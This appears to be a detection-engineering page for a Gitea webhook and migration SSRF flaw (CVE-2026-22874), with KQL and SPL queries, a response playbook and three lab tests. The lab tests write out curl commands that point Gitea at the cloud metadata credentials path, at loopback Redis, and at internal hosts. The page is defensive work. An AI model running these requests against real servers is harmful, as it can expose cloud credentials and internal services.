CVE-2026-22874 Microsoft Sentinel · KQL

Detect Gitea Incomplete SSRF Allow-list Bypass in Webhooks and Migrations (CVE-2026-22874) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-22874, an incomplete SSRF protection in Gitea's webhook and repository-migration allow-list default filter (CWE-918). Gitea versions < 1.26.3 failed to fully validate outbound targets for webhook deliveries and remote migrations, allowing an authenticated (or in some misconfigurations, low-privileged) attacker to coerce the Gitea server into making requests to internal/private hosts, loopback, link-local metadata endpoints (e.g. 169.254.169.254), or otherwise-restricted network services. Detection focuses on Gitea server-originated outbound HTTP requests to internal/metadata/loopback destinations, suspicious webhook/migration configuration referencing private targets, and Gitea process network connections that deviate from expected git/API traffic.

MITRE ATT&CK

Tactic
Collection Discovery

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let metadataTargets = dynamic(["169.254.169.254","metadata.google.internal","100.100.100.200","169.254.170.2"]);
let privateCidrs = dynamic(["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16","::1/128","fc00::/7"]);
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("gitea","gitea.exe")
| where ActionType == "ConnectionSuccess" or ActionType == "ConnectionRequest"
| extend dstIp = tostring(RemoteIP), dstUrl = tostring(RemoteUrl)
| where isnotempty(dstIp) or isnotempty(dstUrl)
| where dstUrl has_any (metadataTargets)
   or dstIp in (metadataTargets)
   or ipv4_is_in_any_range(dstIp, privateCidrs)
| where RemotePort in (80, 443, 8080, 8443, 3000, 6379, 2379, 8500, 9200, 5000, 8006)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, dstIp, dstUrl, RemotePort, InitiatingProcessAccountName
| order by Timestamp desc
high severity medium confidence

Flags Gitea server process making outbound connections to cloud metadata endpoints, loopback, or RFC1918/link-local ranges — the network signature of SSRF exploitation of the webhook/migration allow-list bypass.

Data Sources

Microsoft Defender for EndpointDeviceNetworkEvents

Required Tables

DeviceNetworkEvents

False Positives & Tuning

  • Legitimate self-hosted webhooks or CI systems on the same private network that Gitea is intentionally allowed to reach.
  • Gitea performing internal mirror/migration syncs against another internal git host explicitly permitted by policy.
  • Health-check probes or reverse-proxy loopback traffic where Gitea talks to 127.0.0.1 for its own components.

Other platforms for CVE-2026-22874


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Gitea webhook pointed at cloud metadata endpoint

    Expected signal: Gitea process makes an outbound HTTP request to 169.254.169.254 on port 80 upon webhook trigger/test.

  2. Test 2Gitea migration from loopback/internal clone URL

    Expected signal: Gitea process attempts a connection to 127.0.0.1:6379 (or other internal port) during the migration.

  3. Test 3Webhook test delivery to RFC1918 internal service

    Expected signal: Gitea process initiates an outbound connection to the configured internal RFC1918 target on webhook test.


Response Playbook

Triage

  1. Confirm the Gitea version via the admin dashboard or `gitea --version`; anything < 1.26.3 is vulnerable and must be prioritized.
  2. Identify the destination of the flagged outbound request — determine whether it is a cloud metadata endpoint (169.254.169.254), loopback, or an internal service, and assess sensitivity of that target.
  3. Correlate the request timing with recent webhook creation/edit events and repository migration/mirror operations in Gitea's audit log to find the triggering action.
  4. Identify the Gitea user account that created or modified the webhook/migration, and whether that account is expected to have such access.

Containment

  1. Restrict Gitea's egress at the network layer (firewall/security group) to only the specific hosts it legitimately needs, blocking metadata and RFC1918 ranges.
  2. Disable or delete any unauthorized webhooks and abort in-progress migration/mirror jobs targeting internal addresses.
  3. Upgrade Gitea to 1.26.3 or 1.26.4 which fix the allow-list default filter; enable `ALLOWED_HOST_LIST`/webhook allow-list hardening in app.ini.

Evidence Collection

  1. Preserve Gitea server logs (access and application), webhook delivery history, and migration task records covering the incident window.
  2. Capture network flow/proxy logs showing the Gitea-originated connections and their responses, including any metadata credentials that may have been returned.

Escalation Criteria

  • !Escalate to incident response if the SSRF reached a cloud metadata endpoint or any request returned credentials, tokens, or internal service data.
  • !Escalate if outbound requests targeted sensitive internal services (databases, Redis, Consul, Kubernetes API) or if lateral movement indicators follow the SSRF activity.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Gitea webhook configuration records and delivery logs referencing internal/loopback/metadata URLs.
  • >Repository migration/mirror task records with private-network clone URLs.
  • >Gitea application and access logs plus host network flow logs showing outbound connections to restricted ranges.

Tuning Guidance

Baseline the set of internal hosts and ports Gitea legitimately contacts (co-located database, reverse proxy, sanctioned mirror sources) and add them to an allow-list to suppress benign matches. Focus alerting on cloud metadata IPs and never-before-seen internal destinations, which carry the highest signal. If Gitea runs behind a reverse proxy on loopback, exclude the specific proxy port to reduce noise while retaining coverage for other internal targets.


Hunting Queries

Hunt for Gitea-originated outbound connections to metadata, loopback, or internal ranges across endpoint and network telemetry.

Hunting — KQL
kql
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("gitea","gitea.exe") | where RemoteUrl has "169.254.169.254" or ipv4_is_in_any_range(RemoteIP, dynamic(["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","169.254.0.0/16","127.0.0.0/8"])) | summarize count() by DeviceName, RemoteIP, RemoteUrl, RemotePort
Hunting — SPL
spl
index=* sourcetype=gitea:server OR sourcetype=stream:http process=gitea | rex field=url "(?<host>169\.254\.169\.254|127\.0\.0\.1|metadata\.google\.internal)" | stats count by host, url, user

Atomic Red Team Tests

Test 1 Gitea webhook pointed at cloud metadata endpoint
linux

Creates a repository webhook whose target URL is the cloud instance metadata service to validate SSRF egress detection (lab only).

Command

bash
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks" -H "Authorization: token $GITEA_TOKEN" -H "Content-Type: application/json" -d '{"type":"gitea","active":true,"events":["push"],"config":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","content_type":"json"}}'

Cleanup

bash
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID" -H "Authorization: token $GITEA_TOKEN"

Expected Telemetry

Gitea process makes an outbound HTTP request to 169.254.169.254 on port 80 upon webhook trigger/test.

Expected Detection

KQL/EQL/CQL rules fire on gitea process egress to 169.254.169.254.

Test 2 Gitea migration from loopback/internal clone URL
linux

Initiates a repository migration using an internal/loopback clone URL to test SSRF via the migration allow-list bypass (lab only).

Command

bash
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/migrate" -H "Authorization: token $GITEA_TOKEN" -H "Content-Type: application/json" -d '{"clone_addr":"http://127.0.0.1:6379/","repo_name":"ssrf-test","service":"git"}'

Cleanup

bash
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/$GITEA_USER/ssrf-test" -H "Authorization: token $GITEA_TOKEN"

Expected Telemetry

Gitea process attempts a connection to 127.0.0.1:6379 (or other internal port) during the migration.

Expected Detection

Rules matching gitea process connections to loopback/internal ports trigger.

Test 3 Webhook test delivery to RFC1918 internal service
linux

Uses the webhook test-delivery endpoint to force Gitea to connect to a private-range internal host, exercising SSRF detection (lab only).

Command

bash
curl -s -X POST "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID/tests" -H "Authorization: token $GITEA_TOKEN"

Cleanup

bash
curl -s -X DELETE "http://gitea.lab.local:3000/api/v1/repos/testorg/testrepo/hooks/$HOOK_ID" -H "Authorization: token $GITEA_TOKEN"

Expected Telemetry

Gitea process initiates an outbound connection to the configured internal RFC1918 target on webhook test.

Expected Detection

Network-based rules flag gitea egress to 10.0.0.0/8 or 192.168.0.0/16 destination.

Related Detections